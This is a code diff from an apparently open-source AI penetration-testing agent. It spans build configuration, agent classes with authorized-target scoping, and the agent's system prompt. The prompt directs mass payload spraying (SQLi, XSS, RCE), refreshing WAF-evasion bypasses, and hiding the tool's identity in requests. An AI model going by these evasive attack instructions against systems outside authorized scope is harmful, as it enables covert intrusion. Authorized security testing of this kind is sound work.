"ARG001", # Unused function argument
"PLR2004", # Magic value used in comparison
]
"strix/tools/**/*.py" = [
"ARG001", # Unused function argument (tools may have unused args for interface consistency)
]
# Custom Docker subclass duplicates parent body; some imports are for annotations.
# Backend factories import their backend's deps lazily so deployments
# that pick a different backend don't need every backend's libs installed.
"strix/runtime/backends.py" = ["PLC0415"]
"strix/runtime/docker_client.py" = [
"TC002", # Manifest, Container imported for annotations
"TC003", # uuid imported for annotation
]
# SDK function-tool wrappers: the SDK calls get_type_hints() at registration
# time to derive the JSON schema, which evaluates annotations at runtime —
# so RunContextWrapper / Tool / TResponseInputItem must be imported eagerly,
# not under TYPE_CHECKING.
"strix/tools/todo/tools.py" = ["TC002"]
"strix/tools/thinking/tool.py" = ["TC002"]
"strix/tools/web_search/tool.py" = ["TC002"]
"strix/tools/proxy/tools.py" = ["TC002", "PLR0911"]
"strix/tools/agents_graph/tools.py" = ["TC002"]
"strix/agents/factory.py" = ["TC002"]
# Entry point: ``Path`` is used at runtime by the typing of the
# session_manager call; importing under TYPE_CHECKING would defer
# resolution past where mypy needs it.
"strix/core/runner.py" = ["TC003", "PLR0912", "PLR0915", "PLC0415"]
# ReportState carries scan artifact/report fields and
# a runtime ``Callable`` annotation on ``vulnerability_found_callback``.
"strix/report/state.py" = ["TC003", "PLR0912", "PLR0915", "E501", "PERF401"]
"strix/report/usage.py" = ["PLC0415"]
"strix/config/models.py" = ["PLC0415"]
# Interface utility branches per scope-mode / target-type combination;
# splitting would obscure the decision tree without simplifying it.
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]
# CLI / TUI / main keep extensive lazy imports + broad exception
# swallows for resilience around terminal-rendering errors.
"strix/interface/cli.py" = ["BLE001", "PLC0415"]
"strix/interface/tui/app.py" = ["BLE001", "PLC0415", "PLR0912", "PLR0915", "SIM105"]
"strix/interface/main.py" = ["BLE001", "PLC0415", "PLR0912", "PLR0915"]
"strix/interface/tui/renderers/agent_message_renderer.py" = ["PLC0415"]
[tool.ruff.lint.isort]
force-single-line = false
lines-after-imports = 2
known-first-party = ["strix"]
known-third-party = ["pydantic"]
known-third-party = ["fastapi", "pydantic"]
[tool.ruff.lint.pylint]
max-args = 8
@@ -320,13 +337,55 @@ force_grid_wrap = 0
use_parentheses = true
ensure_newline_before_comments = true
known_first_party = ["strix"]
known_third_party = ["pydantic", "litellm"]
known_third_party = ["fastapi", "pydantic", "litellm", "tenacity"]
# ============================================================================
# Pytest Configuration
# ============================================================================
[tool.pytest.ini_options]
minversion = "6.0"
addopts = [
"--strict-markers",
"--strict-config",
"--cov=strix",
"--cov-report=term-missing",
"--cov-report=html",
"--cov-report=xml",
]
testpaths = ["tests"]
python_files = ["test_*.py", "*_test.py"]
python_functions = ["test_*"]
python_classes = ["Test*"]
asyncio_mode = "auto"
[tool.coverage.run]
source = ["strix"]
omit = [
"*/tests/*",
"*/migrations/*",
"*/__pycache__/*"
]
[tool.coverage.report]
exclude_lines = [
"pragma: no cover",
"def __repr__",
"if self.debug:",
"if settings.DEBUG",
"raise AssertionError",
"raise NotImplementedError",
"if 0:",
"if __name__ == .__main__.:",
"class .*\\bProtocol\\):",
"@(abc\\.)?abstractmethod",
]
# ============================================================================
# Bandit Configuration (Security Linting)
# ============================================================================
[tool.bandit]
exclude_dirs = ["docs", "build", "dist"]
exclude_dirs = ["tests", "docs", "build", "dist"]
skips = ["B101", "B601", "B404", "B603", "B607"] # Skip assert, shell injection, subprocess import and partial path checks
severity = "medium"
+6 -6
View File
@@ -33,23 +33,23 @@ echo -e "${YELLOW}Platform:${NC} $OS_NAME-$ARCH_NAME"
cd "$PROJECT_ROOT"
if ! command -v uv &> /dev/null; then
echo -e "${RED}Error: uv is not installed${NC}"
echo "Please install uv first: https://docs.astral.sh/uv/getting-started/installation/"
if ! command -v poetry &> /dev/null; then
echo -e "${RED}Error: Poetry is not installed${NC}"
echo "Please install Poetry first: https://python-poetry.org/docs/#installation"
exit 1
fi
echo -e "\n${BLUE}Installing dependencies...${NC}"
uv sync --frozen
poetry install --with dev
VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/')
VERSION=$(poetry version -s)
echo -e "${YELLOW}Version:${NC} $VERSION"
echo -e "\n${BLUE}Cleaning previous builds...${NC}"
rm -rf build/ dist/
echo -e "\n${BLUE}Building binary with PyInstaller...${NC}"
uv run pyinstaller strix.spec --noconfirm
poetry run pyinstaller strix.spec --noconfirm
RELEASE_DIR="dist/release"
mkdir -p "$RELEASE_DIR"
-16
View File
@@ -1,16 +0,0 @@
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
IMAGE="strix-sandbox"
TAG="${1:-dev}"
echo "Building $IMAGE:$TAG ..."
docker build \
-f "$PROJECT_ROOT/containers/Dockerfile" \
-t "$IMAGE:$TAG" \
"$PROJECT_ROOT"
echo "Done: $IMAGE:$TAG"
+1 -1
View File
@@ -4,7 +4,7 @@ set -euo pipefail
APP=strix
REPO="usestrix/strix"
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:1.0.0"
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:0.1.13"
MUTED='\033[0;2m'
RED='\033[0;31m'
+18 -49
View File
@@ -32,8 +32,6 @@ datas += collect_data_files('tiktoken_ext')
datas += collect_data_files('litellm')
datas += collect_data_files('agents', includes=['**/*.md', '**/*.jinja', '**/*.json'])
hiddenimports = [
# Core dependencies
'litellm',
@@ -118,58 +116,26 @@ hiddenimports = [
'strix.interface.main',
'strix.interface.cli',
'strix.interface.tui',
'strix.interface.tui.app',
'strix.interface.tui.history',
'strix.interface.tui.live_view',
'strix.interface.tui.messages',
'strix.interface.tui.renderers',
'strix.interface.tui.renderers.agent_message_renderer',
'strix.interface.tui.renderers.agents_graph_renderer',
'strix.interface.tui.renderers.base_renderer',
'strix.interface.tui.renderers.finish_renderer',
'strix.interface.tui.renderers.notes_renderer',
'strix.interface.tui.renderers.proxy_renderer',
'strix.interface.tui.renderers.registry',
'strix.interface.tui.renderers.reporting_renderer',
'strix.interface.tui.renderers.thinking_renderer',
'strix.interface.tui.renderers.todo_renderer',
'strix.interface.tui.renderers.user_message_renderer',
'strix.interface.tui.renderers.web_search_renderer',
'strix.interface.utils',
'strix.interface.tool_components',
'strix.agents',
'strix.agents.factory',
'strix.agents.prompt',
'strix.config.models',
'strix.core',
'strix.core.agents',
'strix.core.execution',
'strix.core.inputs',
'strix.core.paths',
'strix.core.runner',
'strix.core.sessions',
'strix.report',
'strix.report.dedupe',
'strix.report.state',
'strix.report.writer',
'strix.agents.base_agent',
'strix.agents.state',
'strix.agents.StrixAgent',
'strix.llm',
'strix.llm.llm',
'strix.llm.config',
'strix.llm.utils',
'strix.llm.memory_compressor',
'strix.runtime',
'strix.runtime.backends',
'strix.runtime.caido_bootstrap',
'strix.runtime.docker_client',
'strix.runtime.session_manager',
'strix.runtime.runtime',
'strix.runtime.docker_runtime',
'strix.telemetry',
'strix.telemetry.logging',
'strix.telemetry.posthog',
'strix.telemetry.tracer',
'strix.tools',
'strix.tools.agents_graph.tools',
'strix.tools.finish.tool',
'strix.tools.notes.tools',
'strix.tools.proxy._calls',
'strix.tools.proxy.tools',
'strix.tools.python.tool',
'strix.tools.reporting.tool',
'strix.tools.thinking.tool',
'strix.tools.todo.tools',
'strix.tools.web_search.tool',
'strix.tools.registry',
'strix.tools.executor',
'strix.tools.argument_parser',
'strix.skills',
]
@@ -190,6 +156,9 @@ excludes = [
'pyte',
'openhands_aci',
'openhands-aci',
'gql',
'fastapi',
'uvicorn',
'numpydoc',
# Google Cloud / Vertex AI
+4
View File
@@ -0,0 +1,4 @@
from .strix_agent import StrixAgent
__all__ = ["StrixAgent"]
+151
View File
@@ -0,0 +1,151 @@
from typing import Any
from strix.agents.base_agent import BaseAgent
from strix.llm.config import LLMConfig
class StrixAgent(BaseAgent):
max_iterations = 300
def __init__(self, config: dict[str, Any]):
default_skills = []
state = config.get("state")
if state is None or (hasattr(state, "parent_id") and state.parent_id is None):
default_skills = ["root_agent"]
self.default_llm_config = LLMConfig(skills=default_skills)
super().__init__(config)
@staticmethod
def _build_system_scope_context(scan_config: dict[str, Any]) -> dict[str, Any]:
targets = scan_config.get("targets", [])
authorized_targets: list[dict[str, str]] = []
for target in targets:
target_type = target.get("type", "unknown")
details = target.get("details", {})
if target_type == "repository":
value = details.get("target_repo", "")
elif target_type == "local_code":
value = details.get("target_path", "")
elif target_type == "web_application":
value = details.get("target_url", "")
elif target_type == "ip_address":
value = details.get("target_ip", "")
else:
value = target.get("original", "")
workspace_subdir = details.get("workspace_subdir")
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else ""
authorized_targets.append(
{
"type": target_type,
"value": value,
"workspace_path": workspace_path,
}
)
return {
"scope_source": "system_scan_config",
"authorization_source": "strix_platform_verified_targets",
"authorized_targets": authorized_targets,
"user_instructions_do_not_expand_scope": True,
}
async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: # noqa: PLR0912
user_instructions = scan_config.get("user_instructions", "")
targets = scan_config.get("targets", [])
diff_scope = scan_config.get("diff_scope", {}) or {}
self.llm.set_system_prompt_context(self._build_system_scope_context(scan_config))
repositories = []
local_code = []
urls = []
ip_addresses = []
for target in targets:
target_type = target["type"]
details = target["details"]
workspace_subdir = details.get("workspace_subdir")
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "/workspace"
if target_type == "repository":
repo_url = details["target_repo"]
cloned_path = details.get("cloned_repo_path")
repositories.append(
{
"url": repo_url,
"workspace_path": workspace_path if cloned_path else None,
}
)
elif target_type == "local_code":
original_path = details.get("target_path", "unknown")
local_code.append(
{
"path": original_path,
"workspace_path": workspace_path,
}
)
elif target_type == "web_application":
urls.append(details["target_url"])
elif target_type == "ip_address":
ip_addresses.append(details["target_ip"])
task_parts = []
if repositories:
task_parts.append("\n\nRepositories:")
for repo in repositories:
if repo["workspace_path"]:
task_parts.append(f"- {repo['url']} (available at: {repo['workspace_path']})")
else:
task_parts.append(f"- {repo['url']}")
if local_code:
task_parts.append("\n\nLocal Codebases:")
task_parts.extend(
f"- {code['path']} (available at: {code['workspace_path']})" for code in local_code
)
if urls:
task_parts.append("\n\nURLs:")
task_parts.extend(f"- {url}" for url in urls)
if ip_addresses:
task_parts.append("\n\nIP Addresses:")
task_parts.extend(f"- {ip}" for ip in ip_addresses)
if diff_scope.get("active"):
task_parts.append("\n\nScope Constraints:")
task_parts.append(
"- Pull request diff-scope mode is active. Prioritize changed files "
"and use other files only for context."
)
for repo_scope in diff_scope.get("repos", []):
repo_label = (
repo_scope.get("workspace_subdir")
or repo_scope.get("source_path")
or "repository"
)
changed_count = repo_scope.get("analyzable_files_count", 0)
deleted_count = repo_scope.get("deleted_files_count", 0)
task_parts.append(
f"- {repo_label}: {changed_count} changed file(s) in primary scope"
)
if deleted_count:
task_parts.append(
f"- {repo_label}: {deleted_count} deleted file(s) are context-only"
)
task_description = " ".join(task_parts)
if user_instructions:
task_description += f"\n\nSpecial instructions: {user_instructions}"
return await self.agent_loop(task=task_description)
@@ -16,8 +16,9 @@ CLI OUTPUT:
- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
INTER-AGENT MESSAGES:
- Messages from other agents arrive prefixed with a header like `[Message from agent <name> | type=... | priority=...]`. Treat them as internal context — never repeat them verbatim in your own output.
- Treat agent identity / inherited-context preambles as internal metadata; do not echo them in outputs or tool calls.
- NEVER echo inter_agent_message or agent_completion_report blocks that are sent to you in your output.
- Process these internally without displaying them
- NEVER echo agent_identity blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
{% if interactive %}
@@ -30,9 +31,6 @@ INTERACTIVE BEHAVIOR:
- EVERY message while working MUST contain exactly one tool call — this is what keeps execution moving. No tool call = execution stops.
- You may include brief explanatory text BEFORE the tool call
- Respond naturally when the user asks questions or gives instructions
- For simple conversation, acknowledgements, or direct questions that you can answer from current context, reply in plain text and stop. Do NOT call think just to prepare wording.
- If you use a tool to answer a user question (for example list_todos, view_agent_graph, or a file read), then after the tool result arrives, provide the answer in plain text and stop unless the user explicitly asked you to continue working.
- Never loop through think or other tools just to prepare, polish, confirm, or announce a final answer. Once you know the answer, say it.
- NEVER send empty messages — if you have nothing to do or say, call the wait_for_message tool
- If you catch yourself about to describe multiple steps without a tool call, STOP and call the think tool instead
{% else %}
@@ -43,7 +41,6 @@ AUTONOMOUS BEHAVIOR:
- NEVER send an empty or blank message. If you have no content to output or need to wait (for user input, subagent results, or any other reason), you MUST call the wait_for_message tool (or another appropriate tool) instead of emitting an empty response.
- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan)
- While the agent loop is running, almost every output MUST be a tool call. Do NOT send plain text messages; act via tools. If idle, use wait_for_message; when done, use agent_finish (subagents) or finish_scan (root)
- A text-only turn — even one — IMMEDIATELY ends the scan/run with no report written. The lifecycle tools (``finish_scan`` for root, ``agent_finish`` for subagents) are the ONLY valid way to terminate. If you find yourself wanting to say "Done!" or "Scan complete" without a tool call, call the lifecycle tool instead — the report and termination signal both flow through it.
{% endif %}
</communication_rules>
@@ -116,9 +113,11 @@ WHITE-BOX TESTING (code provided):
- MUST perform BOTH static AND dynamic analysis
- Static: Use source-aware triage first to map risk quickly (`semgrep`, `ast-grep`, Tree-sitter tooling, `gitleaks`, `trufflehog`, `trivy fs`). Then review code for vulnerabilities
- Static coverage floor: execute at least one structural AST mapping pass (`sg` and/or Tree-sitter) per repository and keep artifact output
- Static coverage target per repository: run one `semgrep` pass, one secrets pass (`gitleaks` and/or `trufflehog`), one `trivy fs` pass, and one AST-structural pass (`sg` and/or Tree-sitter)
- Static coverage target per repository: run one `semgrep` pass, one secrets pass (`gitleaks` and/or `trufflehog`), one `trivy fs` pass, and one AST-structural pass (`sg` and/or Tree-sitter); if any are skipped, record why in the shared wiki
- Keep AST artifacts bounded and high-signal: scope to relevant paths/hypotheses, avoid whole-repo generic function dumps
- AST target selection rule: build `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`), then run `xargs ... sg run` against that file list. Only use path-heuristic fallback if semgrep scope is unavailable.
- AST target selection rule: build `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`), then run `xargs ... sg run` against that file list. Only use path-heuristic fallback if semgrep scope is unavailable, and log fallback reason in the wiki.
- Shared memory: Use notes as shared working memory; discover wiki notes with `list_notes`, read `wiki:overview` first when available, then read `wiki:security` via `get_note(note_id=...)` before analysis
- Before `agent_finish`/`finish_scan`, update `wiki:security` with scanner summaries, key routes/sinks, and dynamic follow-up plan
- Dynamic: Run the application and test live to validate exploitability
- NEVER rely solely on static code analysis when dynamic validation is possible
- Begin with fast source triage and dynamic run preparation in parallel; use static findings to prioritize live testing.
@@ -149,12 +148,13 @@ OPERATIONAL PRINCIPLES:
- Default to recon first. Unless the next step is obvious from context or the user/system gives specific prioritization instructions, begin by mapping the target well before diving into narrow validation or targeted testing
- Prefer established industry-standard tools already available in the sandbox before writing custom scripts
- Do NOT reinvent the wheel with ad hoc Python or shell code when a suitable existing tool can do the job reliably
- Skills relevant to your task are preloaded into this prompt at scan start; refer back to them when you need vulnerability-, protocol-, or tool-specific guidance
- For skills not preloaded, use `load_skill` to pull them inline — prefer loading the matching skill before guessing payloads, workflows, or tool syntax from memory
- Use the load_skill tool when you need exact vulnerability-specific, protocol-specific, or tool-specific guidance before acting
- Prefer loading a relevant skill before guessing payloads, workflows, or tool syntax from memory
- If a task maps cleanly to one or more available skills, load them early and let them guide your next actions
- Use custom Python or shell code when you want to dig deeper, automate custom workflows, batch operations, triage results, build target-specific validation, or do work that existing tools do not cover cleanly
- Chain related weaknesses when needed to demonstrate real impact
- Consider business logic and context in validation
- Use think for non-trivial planning, uncertainty, multi-step security work, or choosing what to do next. Do NOT use think for simple conversational answers, acknowledgements, summaries, or as a bridge before final text.
- NEVER skip think tool - it's your most important tool for reasoning and success
- WORK METHODICALLY - Don't stop at shallow checks when deeper in-scope validation is warranted
- Continue iterating until the most promising in-scope vectors have been properly assessed
- Try multiple approaches simultaneously - don't wait for one to fail
@@ -163,19 +163,14 @@ OPERATIONAL PRINCIPLES:
EFFICIENCY TACTICS:
- Automate with Python scripts for complex workflows and repetitive inputs/tasks
- Batch similar operations together
- Use captured traffic from the proxy tools directly, or import `caido_api`
from sandbox Python scripts when proxy automation is easier in code
- Use captured traffic from proxy in Python tool to automate analysis
- Download additional tools as needed for specific tasks
- Run multiple scans in parallel when possible
- Load the most relevant skill before starting a specialized testing workflow if doing so will improve accuracy, speed, or tool usage
- Use `exec_command` for Python code: write reusable scripts under
`/workspace/scratch/` and run them with `python3`. For one-off snippets,
`python3 -c` or a here-document is acceptable.
- For Caido proxy automation inside Python, explicitly import from
`caido_api`:
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
- Prefer the python tool for Python code. Do NOT embed Python in terminal commands via heredocs, here-strings, python -c, or interactive REPL driving unless shell-only behavior is specifically required
- The python tool exists to give you persistent interpreter state, structured code execution, cleaner debugging, and easier multi-step automation than terminal-wrapped Python
- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason
- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via Python scripts through `exec_command` or terminal tools.
- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via the python or terminal tools
- When using established fuzzers/scanners, use the proxy for inspection where helpful
- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates
- Use the web_search tool to fetch and refresh payload sets (latest bypasses, WAF evasions, DB-specific syntax, browser/JS quirks) and incorporate them into sprays
@@ -366,6 +361,79 @@ PERSISTENCE IS MANDATORY:
- There are ALWAYS more attack vectors to explore
</multi_agent_system>
<tool_usage>
Tool call format:
<function=tool_name>
<parameter=param_name>value</parameter>
</function>
CRITICAL RULES:
{% if interactive %}
0. When using tools, include exactly one tool call per message. You may respond with text only when appropriate (to answer the user, explain results, etc.).
{% else %}
0. While active in the agent loop, EVERY message you output MUST be a single tool call. Do not send plain text-only responses.
{% endif %}
1. Exactly one tool call per message — never include more than one <function>...</function> block in a single LLM message.
2. Tool call must be last in message
3. EVERY tool call MUST end with </function>. This is MANDATORY. Never omit the closing tag. End your response immediately after </function>.
4. Use ONLY the exact format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
5. When sending ANY multi-line content in tool parameters, use real newlines (actual line breaks). Do NOT emit literal "\n" sequences. Literal "\n" instead of real line breaks will cause tools to fail.
6. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
7. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.
{% if interactive %}
8. When including a tool call, the tool call should be the last element in your message. You may include brief explanatory text before it.
{% else %}
8. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.
{% endif %}
CORRECT format — use this EXACTLY:
<function=tool_name>
<parameter=param_name>value</parameter>
</function>
WRONG formats — NEVER use these:
- <invoke name="tool_name"><parameter name="param_name">value</parameter></invoke>
- <function_calls><invoke name="tool_name">...</invoke></function_calls>
- <tool_call><tool_name>...</tool_name></tool_call>
- {"tool_name": {"param_name": "value"}}
- ```<function=tool_name>...</function>```
- <function=tool_name>value_without_parameter_tags</function>
EVERY argument MUST be wrapped in <parameter=name>...</parameter> tags. NEVER put values directly in the function body without parameter tags. This WILL cause the tool call to fail.
Do NOT emit any extra XML tags in your output. In particular:
- NO <thinking>...</thinking> or <thought>...</thought> blocks
- NO <scratchpad>...</scratchpad> or <reasoning>...</reasoning> blocks
- NO <answer>...</answer> or <response>...</response> wrappers
{% if not interactive %}
If you need to reason, use the think tool. Your raw output must contain ONLY the tool call — no surrounding XML tags.
{% else %}
If you need to reason, use the think tool. When using tools, do not add surrounding XML tags.
{% endif %}
Notice: use <function=X> NOT <invoke name="X">, use <parameter=X> NOT <parameter name="X">, use </function> NOT </invoke>.
Example (terminal tool):
<function=terminal_execute>
<parameter=command>nmap -sV -p 1-1000 target.com</parameter>
</function>
Example (agent creation tool):
<function=create_agent>
<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>
<parameter=name>XSS Discovery Agent</parameter>
<parameter=skills>xss</parameter>
</function>
SPRAYING EXECUTION NOTE:
- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python tool call when you are writing Python logic (for example asyncio/aiohttp). Use terminal tool only when invoking an external CLI/fuzzer. Do not issue one tool call per payload.
- Favor batch-mode CLI tools (sqlmap, ffuf, nuclei, zaproxy, arjun) where appropriate and check traffic via the proxy when beneficial
REMINDER: Always close each tool call with </function> before going into the next. Incomplete tool calls will fail.
{{ get_tools_prompt() }}
</tool_usage>
<environment>
Docker container with Kali Linux and comprehensive security tools:
@@ -411,13 +479,12 @@ SPECIALIZED TOOLS:
- interactsh-client - OOB interaction testing
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported).
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
PROGRAMMING:
- Python 3, uv, Go, Node.js/npm
- Python 3, Poetry, Go, Node.js/npm
- Full development environment
- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally.
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)
@@ -439,13 +506,3 @@ Default user: pentester (sudo available)
{% endfor %}
</specialized_knowledge>
{% endif %}
{% if available_skills %}
<available_skills>
On-demand specialist skills. Spawn a specialist via `create_agent(skills=[...])`, or pull guidance inline for yourself via `load_skill(skills=[...])`. Anything wrapped in `<specialized_knowledge>` above is already loaded for you.
{% for category, names in available_skills | dictsort -%}
- {{ category }}: {{ names | join(', ') }}
{% endfor -%}
</available_skills>
{% endif %}
+10
View File
@@ -0,0 +1,10 @@
from .base_agent import BaseAgent
from .state import AgentState
from .StrixAgent import StrixAgent
__all__ = [
"AgentState",
"BaseAgent",
"StrixAgent",
]
+622
View File
@@ -0,0 +1,622 @@
import asyncio
import contextlib
import logging
from typing import TYPE_CHECKING, Any, Optional
if TYPE_CHECKING:
from strix.telemetry.tracer import Tracer
from jinja2 import (
Environment,
FileSystemLoader,
select_autoescape,
)
from strix.llm import LLM, LLMConfig, LLMRequestFailedError
from strix.llm.utils import clean_content
from strix.runtime import SandboxInitializationError
from strix.tools import process_tool_invocations
from strix.utils.resource_paths import get_strix_resource_path
from .state import AgentState
logger = logging.getLogger(__name__)
class AgentMeta(type):
agent_name: str
jinja_env: Environment
def __new__(cls, name: str, bases: tuple[type, ...], attrs: dict[str, Any]) -> type:
new_cls = super().__new__(cls, name, bases, attrs)
if name == "BaseAgent":
return new_cls
prompt_dir = get_strix_resource_path("agents", name)
new_cls.agent_name = name
new_cls.jinja_env = Environment(
loader=FileSystemLoader(prompt_dir),
autoescape=select_autoescape(enabled_extensions=(), default_for_string=False),
)
return new_cls
class BaseAgent(metaclass=AgentMeta):
max_iterations = 300
agent_name: str = ""
jinja_env: Environment
default_llm_config: LLMConfig | None = None
def __init__(self, config: dict[str, Any]):
self.config = config
self.local_sources = config.get("local_sources", [])
if "max_iterations" in config:
self.max_iterations = config["max_iterations"]
self.llm_config_name = config.get("llm_config_name", "default")
self.llm_config = config.get("llm_config", self.default_llm_config)
if self.llm_config is None:
raise ValueError("llm_config is required but not provided")
state_from_config = config.get("state")
if state_from_config is not None:
self.state = state_from_config
else:
self.state = AgentState(
agent_name="Root Agent",
max_iterations=self.max_iterations,
)
self.interactive = getattr(self.llm_config, "interactive", False)
if self.interactive and self.state.parent_id is None:
self.state.waiting_timeout = 0
self.llm = LLM(self.llm_config, agent_name=self.agent_name)
with contextlib.suppress(Exception):
self.llm.set_agent_identity(self.state.agent_name, self.state.agent_id)
self._current_task: asyncio.Task[Any] | None = None
self._force_stop = False
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.log_agent_creation(
agent_id=self.state.agent_id,
name=self.state.agent_name,
task=self.state.task,
parent_id=self.state.parent_id,
)
if self.state.parent_id is None:
scan_config = tracer.scan_config or {}
exec_id = tracer.log_tool_execution_start(
agent_id=self.state.agent_id,
tool_name="scan_start_info",
args=scan_config,
)
tracer.update_tool_execution(execution_id=exec_id, status="completed", result={})
else:
exec_id = tracer.log_tool_execution_start(
agent_id=self.state.agent_id,
tool_name="subagent_start_info",
args={
"name": self.state.agent_name,
"task": self.state.task,
"parent_id": self.state.parent_id,
},
)
tracer.update_tool_execution(execution_id=exec_id, status="completed", result={})
self._add_to_agents_graph()
def _add_to_agents_graph(self) -> None:
from strix.tools.agents_graph import agents_graph_actions
node = {
"id": self.state.agent_id,
"name": self.state.agent_name,
"task": self.state.task,
"status": "running",
"parent_id": self.state.parent_id,
"created_at": self.state.start_time,
"finished_at": None,
"result": None,
"llm_config": self.llm_config_name,
"agent_type": self.__class__.__name__,
"state": self.state.model_dump(),
}
agents_graph_actions._agent_graph["nodes"][self.state.agent_id] = node
agents_graph_actions._agent_instances[self.state.agent_id] = self
agents_graph_actions._agent_states[self.state.agent_id] = self.state
if self.state.parent_id:
agents_graph_actions._agent_graph["edges"].append(
{"from": self.state.parent_id, "to": self.state.agent_id, "type": "delegation"}
)
if self.state.agent_id not in agents_graph_actions._agent_messages:
agents_graph_actions._agent_messages[self.state.agent_id] = []
if self.state.parent_id is None and agents_graph_actions._root_agent_id is None:
agents_graph_actions._root_agent_id = self.state.agent_id
async def agent_loop(self, task: str) -> dict[str, Any]: # noqa: PLR0912, PLR0915
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
try:
await self._initialize_sandbox_and_state(task)
except SandboxInitializationError as e:
return self._handle_sandbox_error(e, tracer)
while True:
if self._force_stop:
self._force_stop = False
await self._enter_waiting_state(tracer, was_cancelled=True)
continue
self._check_agent_messages(self.state)
if self.state.is_waiting_for_input():
await self._wait_for_input()
continue
if self.state.should_stop():
if not self.interactive:
return self.state.final_result or {}
await self._enter_waiting_state(tracer)
continue
if self.state.llm_failed:
await self._wait_for_input()
continue
self.state.increment_iteration()
if (
self.state.is_approaching_max_iterations()
and not self.state.max_iterations_warning_sent
):
self.state.max_iterations_warning_sent = True
remaining = self.state.max_iterations - self.state.iteration
warning_msg = (
f"URGENT: You are approaching the maximum iteration limit. "
f"Current: {self.state.iteration}/{self.state.max_iterations} "
f"({remaining} iterations remaining). "
f"Please prioritize completing your required task(s) and calling "
f"the appropriate finish tool (finish_scan for root agent, "
f"agent_finish for sub-agents) as soon as possible."
)
self.state.add_message("user", warning_msg)
if self.state.iteration == self.state.max_iterations - 3:
final_warning_msg = (
"CRITICAL: You have only 3 iterations left! "
"Your next message MUST be the tool call to the appropriate "
"finish tool: finish_scan if you are the root agent, or "
"agent_finish if you are a sub-agent. "
"No other actions should be taken except finishing your work "
"immediately."
)
self.state.add_message("user", final_warning_msg)
try:
iteration_task = asyncio.create_task(self._process_iteration(tracer))
self._current_task = iteration_task
should_finish = await iteration_task
self._current_task = None
if should_finish is None and self.interactive:
await self._enter_waiting_state(tracer, text_response=True)
continue
if should_finish:
if not self.interactive:
self.state.set_completed({"success": True})
if tracer:
tracer.update_agent_status(self.state.agent_id, "completed")
return self.state.final_result or {}
await self._enter_waiting_state(tracer, task_completed=True)
continue
except asyncio.CancelledError:
self._current_task = None
if tracer:
partial_content = tracer.finalize_streaming_as_interrupted(self.state.agent_id)
if partial_content and partial_content.strip():
self.state.add_message(
"assistant", f"{partial_content}\n\n[ABORTED BY USER]"
)
if not self.interactive:
raise
await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True)
continue
except LLMRequestFailedError as e:
result = self._handle_llm_error(e, tracer)
if result is not None:
return result
continue
except (RuntimeError, ValueError, TypeError) as e:
if not await self._handle_iteration_error(e, tracer):
if not self.interactive:
self.state.set_completed({"success": False, "error": str(e)})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed")
raise
await self._enter_waiting_state(tracer, error_occurred=True)
continue
async def _wait_for_input(self) -> None:
if self._force_stop:
return
if self.state.has_waiting_timeout():
self.state.resume_from_waiting()
self.state.add_message("user", "Waiting timeout reached. Resuming execution.")
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(self.state.agent_id, "running")
try:
from strix.tools.agents_graph.agents_graph_actions import _agent_graph
if self.state.agent_id in _agent_graph["nodes"]:
_agent_graph["nodes"][self.state.agent_id]["status"] = "running"
except (ImportError, KeyError):
pass
return
await asyncio.sleep(0.5)
async def _enter_waiting_state(
self,
tracer: Optional["Tracer"],
task_completed: bool = False,
error_occurred: bool = False,
was_cancelled: bool = False,
text_response: bool = False,
) -> None:
self.state.enter_waiting_state()
if tracer:
if text_response:
